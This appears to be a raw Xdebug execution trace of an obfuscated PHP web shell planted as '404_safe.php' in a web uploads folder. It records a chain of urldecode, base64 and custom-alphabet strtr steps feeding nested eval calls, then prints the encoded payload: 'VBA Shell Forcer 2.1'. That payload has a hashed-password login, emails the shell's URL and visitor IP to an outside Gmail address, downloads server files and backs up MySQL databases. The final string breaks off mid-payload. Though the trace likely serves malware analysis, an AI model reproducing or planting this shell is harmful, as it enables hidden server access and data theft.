Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:07:15.022769]
1	0	1	0.000161	393528
1	3	0	0.000450	539840	{main}	1		/var/www/html/uploads/404_safe.php	0	0
2	4	0	0.000468	539840	urldecode	0		/var/www/html/uploads/404_safe.php	1	1	'%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'
2	4	1	0.000485	539952
2	4	R			'fg6sbehpra4co_tnd'
1		A						/var/www/html/uploads/404_safe.php	1	$OOO000000 = 'fg6sbehpra4co_tnd'
1		A						/var/www/html/uploads/404_safe.php	1	GLOBALS['OOO0000O0'] = 'base64_d'
1		A						/var/www/html/uploads/404_safe.php	1	['OOO0000O0'] .= 'ecode'
1		A						/var/www/html/uploads/404_safe.php	1	GLOBALS['OOO000O00'] = 'fopen'
1		A						/var/www/html/uploads/404_safe.php	1	GLOBALS['O0O000O00'] = 'fget'
1		A						/var/www/html/uploads/404_safe.php	1	GLOBALS['O0O000O00'] = 'fgets'
1		A						/var/www/html/uploads/404_safe.php	1	GLOBALS['O0O00OO00'] = 'fread'
1		A						/var/www/html/uploads/404_safe.php	1	GLOBALS['OOO00000O'] = 'strtr'
1		A						/var/www/html/uploads/404_safe.php	1	$OOO0O0O00 = '/var/www/html/uploads/404_safe.php'
1		A						/var/www/html/uploads/404_safe.php	1	$OO00O0000 = 135520
2	5	0	0.000620	540064	base64_decode	0		/var/www/html/uploads/404_safe.php	1	1	'JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDU3Zik7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwncEc1L2Nud3VqbG0xTFh0NFBFSjNvOUNGVVc2eE1rYnpOUmFpSCtTZVlBZHMwN3lPZ2ZCWjJoS3JEcXY4UUlUVj0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'
2	5	1	0.000649	540608
2	5	R			'$O000O0O00=$GLOBALS[\'OOO000O00\']($OOO0O0O00,\'rb\');$GLOBALS[\'O0O00OO00\']($O000O0O00,0x57f);$OO00O00O0=$GLOBALS[\'OOO0000O0\']($GLOBALS[\'OOO00000O\']($GLOBALS[\'O0O00OO00\']($O000O0O00,0x1a8),\'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV=\',\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\'));eval($OO00O00O0);'
2	6	0	0.000698	543544	eval	1	'$O000O0O00=$GLOBALS[\'OOO000O00\']($OOO0O0O00,\'rb\');$GLOBALS[\'O0O00OO00\']($O000O0O00,0x57f);$OO00O00O0=$GLOBALS[\'OOO0000O0\']($GLOBALS[\'OOO00000O\']($GLOBALS[\'O0O00OO00\']($O000O0O00,0x1a8),\'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV=\',\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\'));eval($OO00O00O0);'	/var/www/html/uploads/404_safe.php	1	0
3	7	0	0.000727	543544	fopen	0		/var/www/html/uploads/404_safe.php(1) : eval()'d code	1	2	'/var/www/html/uploads/404_safe.php'	'rb'
3	7	1	0.000751	544208
3	7	R			resource(4) of type (stream)
2		A						/var/www/html/uploads/404_safe.php(1) : eval()'d code	1	$O000O0O00 = resource(4) of type (stream)
3	8	0	0.000781	544136	fread	0		/var/www/html/uploads/404_safe.php(1) : eval()'d code	1	2	resource(4) of type (stream)	1407
3	8	1	0.000802	553928
3	8	R			'<?php /* Xo99WFCn+6UCliWw9SWKRA6S70xCqOMunBMrEhkekDbFYgL3jZX/oKXZNqmBQemJHAtKWixwIZWJNH3ZpgLcQg3Zpgm37+kSn0m5E43Zpg3Zpg3ZpAtg==j5ERj9 */$OOO000000=urldecode(\'%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64\');$GLOBALS[\'OOO0000O0\']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS[\'OOO0000O0\'].=$GLOBALS[\'OOO0000O0\']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS[\'OOO0000O0\']{7}.$OOO000000{5};$GLOBALS[\'OOO000O00\']=$OOO000000{0'
3	9	0	0.000835	552328	fread	0		/var/www/html/uploads/404_safe.php(1) : eval()'d code	1	2	resource(4) of type (stream)	424
3	9	1	0.000849	552904
3	9	R			'lcI4L/G4L/G4L/hZkulzMS9gxwniWJNeFhIwJofnFhQe15jejaDH32I4LcQg3Zpg1ajejagHE2f4PHnLoh0e32I4L/pgLcQglh2YlckL32lG3nXxl2I43ZpgL/pg3Bkkm5Eu3cI5Pof3CBk4LcQgLcI4L/peFJNH3ZpgLcQg3Zpg15E43Zpg3ZpgL/pA15kgEZoOUKqrkCA0x3nLCuP2oc9mLKQqP2W99ZWD3C7abHqJUC+jmhX+ConHMZprboIeWHl6LSR1MHEfkiREJ9EC4JM0l2n5P2EnEHkjJoA13cht3hGEo+Xo99WFCn+6UCliWw9SWKRA6S70xCqOMunBMrEhkekDbFYgL3jZX/oKXZNqmBQemJHAtKWixwIZWJNH3ZpgLcQg3Zpgm37+kSn0m5E43Zpg3Zpg3ZpAtg=='
3	10	0	0.000878	552840	strtr	0		/var/www/html/uploads/404_safe.php(1) : eval()'d code	1	3	'lcI4L/G4L/G4L/hZkulzMS9gxwniWJNeFhIwJofnFhQe15jejaDH32I4LcQg3Zpg1ajejagHE2f4PHnLoh0e32I4L/pgLcQglh2YlckL32lG3nXxl2I43ZpgL/pg3Bkkm5Eu3cI5Pof3CBk4LcQgLcI4L/peFJNH3ZpgLcQg3Zpg15E43Zpg3ZpgL/pA15kgEZoOUKqrkCA0x3nLCuP2oc9mLKQqP2W99ZWD3C7abHqJUC+jmhX+ConHMZprboIeWHl6LSR1MHEfkiREJ9EC4JM0l2n5P2EnEHkjJoA13cht3hGEo+Xo99WFCn+6UCliWw9SWKRA6S70xCqOMunBMrEhkekDbFYgL3jZX/oKXZNqmBQemJHAtKWixwIZWJNH3ZpgLcQg3Zpgm37+kSn0m5E43Zpg3Zpg3ZpAtg=='	'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV='	'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
3	10	1	0.000908	553448
3	10	R			'JE9PMDBPMDBPMD1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kT09PME8wTzAwLiInIiwkR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLCRPTzAwTzAwMDApLCdwRzUvY253dWpsbTFMWHQ0UEVKM285Q0ZVVzZ4TWtiek5SYWlIK1NlWUFkczA3eU9nZkJaMmhLckRxdjhRSVRWPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSkpO2ZjbG9zZSgkTzAwME8wTzAwKTtldmFsKCRPTzAwTzAwTzApOw=='
3	11	0	0.000942	552840	base64_decode	0		/var/www/html/uploads/404_safe.php(1) : eval()'d code	1	1	'JE9PMDBPMDBPMD1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kT09PME8wTzAwLiInIiwkR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLCRPTzAwTzAwMDApLCdwRzUvY253dWpsbTFMWHQ0UEVKM285Q0ZVVzZ4TWtiek5SYWlIK1NlWUFkczA3eU9nZkJaMmhLckRxdjhRSVRWPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSkpO2ZjbG9zZSgkTzAwME8wTzAwKTtldmFsKCRPTzAwTzAwTzApOw=='
3	11	1	0.000969	553384
3	11	R			'$OO00O00O0=str_replace(\'__FILE__\',"\'".$OOO0O0O00."\'",$GLOBALS[\'OOO0000O0\']($GLOBALS[\'OOO00000O\']($GLOBALS[\'O0O00OO00\']($O000O0O00,$OO00O0000),\'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV=\',\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\')));fclose($O000O0O00);eval($OO00O00O0);'
2		A						/var/www/html/uploads/404_safe.php(1) : eval()'d code	1	$OO00O00O0 = '$OO00O00O0=str_replace(\'__FILE__\',"\'".$OOO0O0O00."\'",$GLOBALS[\'OOO0000O0\']($GLOBALS[\'OOO00000O\']($GLOBALS[\'O0O00OO00\']($O000O0O00,$OO00O0000),\'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV=\',\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\')));fclose($O000O0O00);eval($OO00O00O0);'
3	12	0	0.001040	556120	eval	1	'$OO00O00O0=str_replace(\'__FILE__\',"\'".$OOO0O0O00."\'",$GLOBALS[\'OOO0000O0\']($GLOBALS[\'OOO00000O\']($GLOBALS[\'O0O00OO00\']($O000O0O00,$OO00O0000),\'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV=\',\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\')));fclose($O000O0O00);eval($OO00O00O0);'	/var/www/html/uploads/404_safe.php(1) : eval()'d code	1	0
4	13	0	0.001069	556184	fread	0		/var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code	1	2	resource(4) of type (stream)	135520
4	13	1	0.001132	695512
4	13	R			'j5ERj/2e3u+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7AMwX/xekfJoXGW2+wCHXEo2loo29C39E/PHkoLoAco+WlW2f3P+kJ9HAoohoq32+cJF9XoC7fWHngtc7APCklP2neo+kJMwE/PChlE9l0WwhCMKjZPCkWxS7e9S7mP+Wn9Hloo2neJoXGW2+/PCk1xek1WHXOW2+G6KklEKNgWcRGXHfqt3lWxoUgC+kwkcf7XCfHP2neJoXGJH+/PCklPrpDPKqrMo+/PCklE/pqJoX5J9+F3elR9Z9yJoXWWhoB9SAHCcAgWcRsW2+cL/+lP2neJoXGW2+/PFnSPFGiJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Atc7/x9WqUK2qb9NZJSfiEZ+qWck0k9AqWZX19uX1ooRtxwEwtFEW9KEgC3cqbwEF'
4	14	0	0.001283	695448	strtr	0		/var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code	1	3	'j5ERj/2e3u+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7AMwX/xekfJoXGW2+wCHXEo2loo29C39E/PHkoLoAco+WlW2f3P+kJ9HAoohoq32+cJF9XoC7fWHngtc7APCklP2neo+kJMwE/PChlE9l0WwhCMKjZPCkWxS7e9S7mP+Wn9Hloo2neJoXGW2+/PCk1xek1WHXOW2+G6KklEKNgWcRGXHfqt3lWxoUgC+kwkcf7XCfHP2neJoXGJH+/PCklPrpDPKqrMo+/PCklE/pqJoX5J9+F3elR9Z9yJoXWWhoB9SAHCcAgWcRsW2+cL/+lP2neJoXGW2+/PFnSPFGiJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Atc7/x9WqUK2qb9NZJSfiEZ+qWck0k9AqWZX19uX1ooRtxwEwtFEW9KEgC3cqbwEF'	'pG5/cnwujlm1LXt4PEJ3o9CFUW6xMkbzNRaiH+SeYAds07yOgfBZ2hKrDqv8QITV='	'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
4	14	1	0.001458	834808
4	14	R			'ICRhID0nTHlvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpcGNDbndxSUNBZ0lGWkNRU0JUU0VWTVRDQkdUMUpEUlZJZ0xTQldSVkpUU1U5T0lESXVNUWtxZkFwOEtpQWdJQ0FnUldScGRDQW1JRVJsZG1Wc2IzQWdZbmtnVmtKQlZFVkJUU0FnSUNBZ0lDQWdLbndLZkNvZ0lBa2dJR2gwZEhBNkx5OTJZbUYwWldGdExtNWxkQ0FnSUNBSklDQWdJQ3A4Q253cUlDQWdJRDA5SUNCSVlXTnJhVzVuSUNZZ1UyVmpkWEpwZEhrZ0lEMDlJQ0FnSUNBZ0lDQXFmQXBjS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpOEtDbVZ5Y205eVgzSmxjRzl5ZEdsdVp5ZzNLVHNLUUhObGRGOXRZV2RwWTE5eGRX'
4	15	0	0.001568	695448	base64_decode	0		/var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code	1	1	'ICRhID0nTHlvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpcGNDbndxSUNBZ0lGWkNRU0JUU0VWTVRDQkdUMUpEUlZJZ0xTQldSVkpUU1U5T0lESXVNUWtxZkFwOEtpQWdJQ0FnUldScGRDQW1JRVJsZG1Wc2IzQWdZbmtnVmtKQlZFVkJUU0FnSUNBZ0lDQWdLbndLZkNvZ0lBa2dJR2gwZEhBNkx5OTJZbUYwWldGdExtNWxkQ0FnSUNBSklDQWdJQ3A4Q253cUlDQWdJRDA5SUNCSVlXTnJhVzVuSUNZZ1UyVmpkWEpwZEhrZ0lEMDlJQ0FnSUNBZ0lDQXFmQXBjS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpOEtDbVZ5Y205eVgzSmxjRzl5ZEdsdVp5ZzNLVHNLUUhObGRGOXRZV2RwWTE5eGRX'
4	15	1	0.001998	834744
4	15	R			' $a =\'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZ'
4	16	0	0.002091	695448	str_replace	0		/var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code	1	3	'__FILE__'	'\'/var/www/html/uploads/404_safe.php\''	' $a =\'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZ'
4	16	1	0.002201	695544
4	16	R			' $a =\'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZ'
3		A						/var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code	1	$OO00O00O0 = ' $a =\'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZ'
4	17	0	0.002416	694872	fclose	0		/var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code	1	1	resource(4) of type (stream)
4	17	1	0.002434	686256
4	17	R			TRUE
4	18	0	0.002708	892728	eval	1	' $a =\'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZVswXTsKZGVmaW5lKCdTQV9ST09UJywgc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCBkaXJuYW1lKF9fRklMRV9fKSkuJy8nKTsKLy9kZWZpbmUoJ0lTX1dJTicsIHN0cnN0cihQSFBfT1MsICdXSU4nKSA/IDEgOiAwICk7CmRlZmluZSgnSVNfV0lOJywgRElSRUNUT1JZX1NFUEFSQVRPUiA9PSAnXFwnKTsKZGVmaW5lKCdJU19DT00nLCBjbGFzc19leGlzdHMoJ0NPTScpID8gMSA6IDAgKTsKZGVmaW5lKCdJU19HUEMnLCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKTsKJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CmRlZmluZSgnSVNfUEhQSU5GTycsICghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gMSA6IDAgKTsKQHNldF90aW1lX2xpbWl0KDApOwoKZm9yZWFjaChhcnJheSgnX0dFVCcsJ19QT1NUJykgYXMgJF9yZXF1ZXN0KSB7Cglmb3JlYWNoKCQkX3JlcXVlc3QgYXMgJF9rZXkgPT4gJF92YWx1ZSkgewoJCWlmICgkX2tleXswfSAhPSAnXycpIHsKCQkJaWYgKElTX0dQQykgewoJCQkJJF92YWx1ZSA9IHNfYXJyYXkoJF92YWx1ZSk7CgkJCX0KCQkJJCRfa2V5ID0gJF92YWx1ZTsKCQl9Cgl9Cn0KCi8qPT09PT09PT09PT09PT09PT0gIEluZm8gTG9naW4gID09PT09PT09PT09PT09PT0qLwokYWRtaW4gPSBhcnJheSgpOwokYWRtaW5bJ2NoZWNrJ10gPSB0cnVlOwokYWRtaW5bJ3Bhc3MnXSAgPSAnMTAwMjkxMmIyNTE4ODdiNGZlMGU1ZmExZWZkYmZhMDYnOyAvLyBQYXNzd29yZCBsb2dpbgokYWRtaW5bJ2Nvb2tpZXByZSddID0gJyc7CiRhZG1pblsnY29va2llZG9tYWluJ10gPSAnJzsKJGFkbWluWydjb29raWVwYXRoJ10gPSAnLyc7CiRhZG1pblsnY29va2llbGlmZSddID0gODY0MDA7Ci8qPT09PT09PT09PT09PT09PT09PT09IEVuZCA9PT09PT09PT09PT09PT09PT09PT0qLwoKaWYgKCRjaGFyc2V0ID09ICd1dGY4JykgewoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2JpZzUnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiKTsKfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWdiayIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsKCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOwp9Cgokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddID8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gOiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsKJHRpbWVzdGFtcCA9IHRpbWUoKTsKCi8qPT09PT09PT09PT09PT09PT09PT09IExvZ2luID09PT09PT09PT09PT09PT09PT09PSovCmlmICgkYWN0aW9uID09ICJsb2dvdXQiKSB7CglzY29va2llKCd2YmFwYXNzJywgJycsIC04NjQwMCAqIDM2NSk7CglwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0nLiRzZWxmLiciPicpOwoJcCgnPGJvZHkgYmFja2dyb3VuZD1ibGFjaz4nKTsKCWV4aXQ7Cn0KaWYoJGFkbWluWydjaGVjayddKSB7CglpZiAoJGRvaW5nID09ICdsb2dpbicpIHsKCQlpZiAoJGFkbWluWydwYXNzJ10gPT0gbWQ1KCRwYXNzd29yZCkpIHsKCQkJc2Nvb2tpZSgndmJhcGFzcycsIG1kNSgkcGFzc3dvcmQpKTsKCi8vIEZ1bmN0aW9uIG1haWwgU2VuZGVyIHRvIG15IEVtYWlsIC0gUGxlYXNlIHJlbW92ZSB0aGlzIGJlZm9yZSB5b3UgdXNpbmcgdGhpcyBzaGVsbCBjb2RlLCBUaGFua3MgLSBGZXJuYW5kbyAtIFZCQVRlYW0KJHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7CiRpcF9yZW1vdGUgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKJGZyb21fc2hlbGxjb2RlID0gJ3NoZWxsQCcuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuJyc7CiR0b19lbWFpbCA9ICd4ZWRvcmFjQGdtYWlsLmNvbSc7CiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7CiRsaW5rY3IgPSAiTGluazogIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iIC0gSVAgRXhjdXRpbmc6ICRpcF9yZW1vdGUgLSBUaW1lOiAkdGltZV9zaGVsbCI7CiRoZWFkZXIgPSAiRnJvbTogJGZyb21fc2hlbGxjb2RlXHJcblJlcGx5LXRvOiAkZnJvbV9zaGVsbGNvZGUiOwpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7CgkJCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjI7VVJMPScuJHNlbGYuJyI+Jyk7CgkJCXAoJzxib2R5IGJnY29sb3I9YmxhY2s+CjxCUj48QlI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9eWVsbG93IGZhY2U9dGFob21hIHNpemU9Mj5Db25uZWN0aW5nLi4uPEJSPjxpbWcgc3JjPWh0dHA6Ly90My5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjUkZJUXk5b0xjOWpNV21EWV9OX3N4aldQeXVzVVdDNGlnd0sybHFCbTY4YURHY1NmS1BQQT48L2Rpdj4nKTsKCQkJZXhpdDsKCQl9CgoJZWxzZQoJewoJJGVycl9tZXNzID0gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jRjBGMEYwIHdpZHRoPTEwMCUgaGVpZ2h0PTI0PjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGNvbG9yPXJlZCBmYWNlPXRhaG9tYSBzaXplPTI+PGJsaW5rPlBhc3N3b3JkIGluY29ycmVjdCwgUGxlYXNlIHRyeSBhZ2FpbiEhITwvYmxpbms+PEJSPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4nOwplY2hvICRlcnJfbWVzczsKCX19CglpZiAoJF9DT09LSUVbJ3ZiYXBhc3MnXSkgewoJCWlmICgkX0NPT0tJRVsndmJhcGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7CgkJCWxvZ2lucGFnZSgpOwoJCX0KCX0gZWxzZSB7CgkJbG9naW5wYWdlKCk7Cgl9Cn0KLyo9PT09PT09PT09PT09PT09PT09PT0gTG9naW4gPT09PT09PT09PT09PT09PT09PT09Ki8KCiRlcnJtc2cgPSAnJzsKCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgewoJaWYgKElTX1BIUElORk8pIHsKCQlwaHBpbmZvKCk7Cgl9IGVsc2UgewoJCSRlcnJtc2cgPSAncGhwaW5mbygpIGZ1bmN0aW9uIGhhcyBub24tcGVybWlzc2libGUnOwoJfQp9CgoKaWYgKCRkb2luZyA9PSAnZG93bmZpbGUnICYmICR0aGVmaWxlKSB7CglpZiAoIUBmaWxlX2V4aXN0cygkdGhlZmlsZSkpIHsKCQkkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOwoJfSBlbHNlIHsKCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkdGhlZmlsZSk7CgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsKCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsKCQloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCR0aGVmaWxlKSk7CgkJQHJlYWRmaWxlKCR0aGVmaWxlKTsKCQlleGl0OwoJfQp9CgoKaWYgKCRkb2luZyA9PSAnYmFja3VwbXlzcWwnICYmICEkc2F2ZWFzZmlsZSkgewoJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCSR0YWJsZSA9IGFycmF5X